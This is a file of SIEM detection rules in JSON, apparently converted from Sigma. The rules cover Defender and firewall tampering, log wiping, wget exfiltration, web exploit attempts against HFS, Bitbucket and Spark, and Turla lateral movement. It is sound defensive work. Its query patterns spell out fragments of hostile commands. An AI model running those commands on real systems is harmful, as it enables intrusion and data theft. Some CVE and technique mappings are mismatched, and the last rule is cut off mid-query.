{"description": "Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d1fc0863-6eda-05b5-58cb-edc429b65223", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious FromBase64String Usage On Gzip Archive - Process Creation", "query": "(process.command_line.text:*FromBase64String* AND process.command_line.text:*MemoryStream* AND process.command_line.text:*H4sI*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ced578fb-1cdd-88ab-0a8a-1e27d1a1cc40", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Clear Linux Logs", "query": "(process.executable.text:(*\\/rm OR *\\/shred OR *\\/unlink) AND process.command_line.text:(*\\/var\\/log* OR *\\/var\\/spool\\/mail*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "oscd.community"], "license": ""}
{"description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.", "enabled": false, "false_positives": ["Legitimate usage of xclip tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7804ecee-8e2c-8cc2-c8e4-2822ad7349d2", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Clipboard Collection with Xclip Tool", "query": "(type:\"EXECVE\" AND a0:\"xclip\" AND a1:(\"\\-selection\" OR \"\\-sel\") AND a2:(\"clipboard\" OR \"clip\") AND a3:\"\\-o\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1115"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1115", "name": "Clipboard Data", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.", "enabled": false, "false_positives": ["Legitimate usage of xclip tools."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7804ecee-8e2c-8cc2-c8e4-2822ad7349d2", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Clipboard Collection with Xclip Tool", "query": "(process.executable.text:*xclip* AND process.command_line.text:*\\-sel* AND process.command_line.text:*clip* AND process.command_line.text:*\\-o*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1115"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1115", "name": "Clipboard Data", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur", "Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.", "enabled": false, "false_positives": ["Legitimate usage of xclip tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d793f010-0310-91c9-696c-bae398c54da1", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Clipboard Collection of Image Data with Xclip Tool", "query": "(type:\"EXECVE\" AND a0:\"xclip\" AND a1:(\"\\-selection\" OR \"\\-sel\") AND a2:(\"clipboard\" OR \"clip\") AND a3:\"\\-t\" AND a4:image\\/* AND a5:\"\\-o\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1115"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1115", "name": "Clipboard Data", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects attempts to disable the Windows Firewall using PowerShell", "author": ["Tim Rauch"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fce71b40-3933-0f48-2554-e3b6cdb55550", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Firewall Disabled via PowerShell", "query": "(((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\powershell_ise.exe)) OR (winlog.event_data.OriginalFileName:\"PowerShell.EXE\")) AND (process.command_line.text:*Set\\-NetFirewallProfile\\ * AND process.command_line.text:*\\ \\-Enabled\\ * AND process.command_line.text:*\\ False*) AND process.command_line.text:(*\\ \\-All\\ * OR *Public* OR *Domain* OR *Private*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects attempts to discover the files with setuid/setgid capabilitiy on them. That would allow adversary to escalate their privileges.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2b626610-850f-98b5-33bc-d088e69b9a17", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Linux Capabilities Discovery", "query": "(type:\"EXECVE\" AND a0:\"getcap\" AND a1:\"\\-r\" AND a2:\"\\/\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["Privilege Escalation", "T1123", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1123", "name": "Audio Capture", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "0eb88492-37b3-d864-525f-c26369852810", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Rejetto HTTP File Server RCE", "query": "(cs-uri-query:*?search\\=%00\\{.* AND cs-uri-query:(*save|* OR *powershell* OR *cmd.exe* OR *cmd\\ \\/c* OR *cmd\\ \\/r* OR *cmd\\ \\/k* OR *cscript* OR *wscript* OR *python* OR *C\\:\\\\Users\\\\Public\\\\* OR *%comspec%*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8dafcc16-0cee-f9f8-4138-53e291618a20", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Apache Spark Shell Command Injection - ProcessCreation", "query": "(process.parent.executable:*\\\\bash AND process.command_line:(*id\\ \\-Gn\\ `* OR *id\\ \\-Gn\\ '*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Web vulnerability scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "f4725b9f-1600-dbb0-9bb1-c3182ff02791", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Apache Spark Shell Command Injection - Weblogs", "query": "cs-uri-query:*?doAs\\=`*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Web vulnerability scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "d7bfdb14-7e2c-6fb9-f639-b7d6613e319a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Atlassian Bitbucket Command Injection Via Archive API", "query": "(cs-uri-query:*\\/rest\\/api\\/latest\\/projects\\/* AND cs-uri-query:*prefix\\=* AND cs-uri-query:*%00\\-\\-exec*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.", "author": ["remotephone"], "enabled": false, "false_positives": ["Mistyped commands or legitimate binaries named to match the pattern"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5bbcb1ee-53cf-365c-8e47-bc8fda99512c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Space After Filename - macOS", "query": "((process.command_line.text:*\\ ) OR (process.executable.text:*\\ ))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.", "enabled": false, "false_positives": ["Legitimate usage of wget utility to post a file"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f39521cf-e4ec-99de-42e7-c241fd9f6319", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Data Exfiltration with Wget", "query": "(type:\"EXECVE\" AND a0:\"wget\" AND a1:\\-\\-post\\-file\\=*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects attempts to record audio with arecord utility", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4161cfc6-d502-210b-4cd2-54e92718bc4f", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Audio Capture", "query": "(type:\"EXECVE\" AND a0:\"arecord\" AND a1:\"\\-vv\" AND a2:\"\\-fdat\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1123"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1123", "name": "Audio Capture", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "59349fe8-27a7-859f-e0f4-fdf4b3447484", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging", "query": "(powershell.file.script_block_text:*Remove\\-MpPreference* AND powershell.file.script_block_text:(*\\-ControlledFolderAccessProtectedFolders\\ * OR *\\-AttackSurfaceReductionRules_Ids\\ * OR *\\-AttackSurfaceReductionRules_Actions\\ * OR *\\-CheckForSignaturesBeforeRunningScan\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "938e1abc-f668-35e3-49c8-9a27f7bd9ba8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Tamper Windows Defender Remove-MpPreference", "query": "(process.command_line.text:*Remove\\-MpPreference* AND process.command_line.text:(*\\-ControlledFolderAccessProtectedFolders\\ * OR *\\-AttackSurfaceReductionRules_Ids\\ * OR *\\-AttackSurfaceReductionRules_Actions\\ * OR *\\-CheckForSignaturesBeforeRunningScan\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects attempts to use screencapture to collect macOS screenshots", "enabled": false, "false_positives": ["Legitimate user activity taking screenshots"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "45e45189-08e1-80c1-b182-77345af04125", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Screen Capture - macOS", "query": "process.executable:\"\\/usr\\/sbin\\/screencapture\"", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1113"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1113", "name": "Screen Capture", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["remotephone", "oscd.community"], "license": ""}
{"description": "Detects attempts to use system dialog prompts to capture user credentials", "enabled": false, "false_positives": ["Legitimate administration tools and activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e6c77b62-a641-256f-7e41-f2a14d6c9d34", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "GUI Input Capture - macOS", "query": "(process.executable:\"\\/usr\\/sbin\\/osascript\" AND process.command_line:*\\-e* AND process.command_line:*display* AND process.command_line:*dialog* AND process.command_line:*answer* AND process.command_line:(*admin* OR *administrator* OR *authenticate* OR *authentication* OR *credentials* OR *pass* OR *password* OR *unlock*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1056"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["remotephone", "oscd.community"], "license": ""}
{"description": "Detects audio capture via PowerShell Cmdlet.", "enabled": false, "false_positives": ["Legitimate audio capture by legitimate user."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6a4911ff-5dc7-90ab-7413-1b7fbc74fcd6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Audio Capture via PowerShell", "query": "process.command_line:*WindowsAudioDevice\\-Powershell\\-Cmdlet*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1123"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1123", "name": "Audio Capture", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "license": ""}
{"description": "Detects automated lateral movement by Turla group", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "59d913e0-b932-9084-7b56-588e0b5c6aa6", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Turla Group Lateral Movement", "query": "process.command_line.text:(net\\ use\\ \\\\\\\\%DomainController%\\\\C$\\ \\\"P@ssw0rd\\\"\\ * OR dir\\ c\\:\\\\*.doc*\\ \\/s OR dir\\ %TEMP%\\\\*.exe)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021", "T1059", "T1083", "T1135"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}, {"id": "T1135", "name": "Network Share Discovery", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects AWS API key creation for a user by another user. Backdoored users can be used to obtain persistence in the AWS environment. Also with this alert, you can detect a flow of AWS keys in your org.", "enabled": false, "false_positives": ["Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)", "AWS API keys legitimate exchange workflows"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "06af1386-4e16-36b5-72e9-6a4bab1da20a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS IAM Backdoor Users Keys", "query": "((eventSource:\"iam.amazonaws.com\" AND eventName:\"CreateAccessKey\") AND (NOT (userIdentity.arn:*responseElements.accessKey.userName*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["faloker"], "license": ""}
{"description": "Detects AWS Config Service disabling", "enabled": false, "false_positives": ["Valid change in AWS Config Service"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "cb01497a-7b1b-228c-8a93-22be28b1ed5a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AWS Config Disabling Channel/Recorder", "query": "(eventSource:\"config.amazonaws.com\" AND eventName:(\"DeleteDeliveryChannel\" OR \"StopConfigurationRecorder\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["vitaliy0x1"], "license": ""}
{"description": "Detects AWS root account usage", "enabled": false, "false_positives": ["AWS Tasks That Require AWS Account Root User Credentials "], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ed360256-5d4c-7b59-379c-8a36586c36c8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS Root Credentials", "query": "(userIdentity.type:\"Root\" AND (NOT (eventType:\"AwsServiceEvent\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["vitaliy0x1"], "license": ""}
{"description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service", "enabled": false, "false_positives": ["Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8a0e2c05-1389-a555-46c9-96c920f8ad6e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS HybridConnectionManager Service Bus", "query": "(dns.question.name:*servicebus.windows.net* AND process.executable.text:*HybridConnectionManager*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1554"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1554", "name": "Compromise Client Software Binary", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects Baby Shark C2 Framework communication patterns", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "ab4d2229-0995-b574-aa73-2218445bf643", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "BabyShark Agent Pattern", "query": "url.original:*momyshark\\?key\\=*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects backup catalog deletions", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "436f2de4-fb59-172b-89ca-b90e507cc731", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Backup Catalog Deleted", "query": "(winlog.channel:\"Application\" AND winlog.event_id:\"524\" AND Provider_Name:\"Microsoft\\-Windows\\-Backup\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["(v=ws.11).aspx", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Tom U. @c_APT_ure (collection)"], "license": ""}
{"description": "Detects base64 encoded .NET reflective loading of Assembly", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a3416c98-2494-2577-e023-d891221b4559", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Base64 Encoded Reflective Assembly Load", "query": "process.command_line:(*WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKA* OR *sAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgA* OR *bAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoA*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV", "enabled": false, "false_positives": ["Possible Admin Activity", "Other Cmdlets that may use the same parameters"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "35ab83d1-7fb7-5d53-a6ce-68c63055c597", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Defender Base64 MpPreference", "query": "(process.command_line.text:(*QWRkLU1wUHJlZmVyZW5jZS* OR *FkZC1NcFByZWZlcmVuY2Ug* OR *BZGQtTXBQcmVmZXJlbmNlI* OR *U2V0LU1wUHJlZmVyZW5jZS* OR *NldC1NcFByZWZlcmVuY2Ug* OR *TZXQtTXBQcmVmZXJlbmNlI* OR *YWRkLW1wcHJlZmVyZW5jZS* OR *FkZC1tcHByZWZlcmVuY2Ug* OR *hZGQtbXBwcmVmZXJlbmNlI* OR *c2V0LW1wcHJlZmVyZW5jZS* OR *NldC1tcHByZWZlcmVuY2Ug* OR *zZXQtbXBwcmVmZXJlbmNlI*) AND process.command_line.text:(*QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgA* OR *EAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIA* OR *BAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAA* OR *UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgA* OR *MAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIA* OR *TAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAA* OR *YQBkAGQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgA* OR *EAZABkAC0AbQBwAHAAcgBlAGYAZQByAGUAbgBjAGUAIA* OR *hAGQAZAAtAG0AcABwAHIAZQBmAGUAcgBlAG4AYwBlACAA* OR 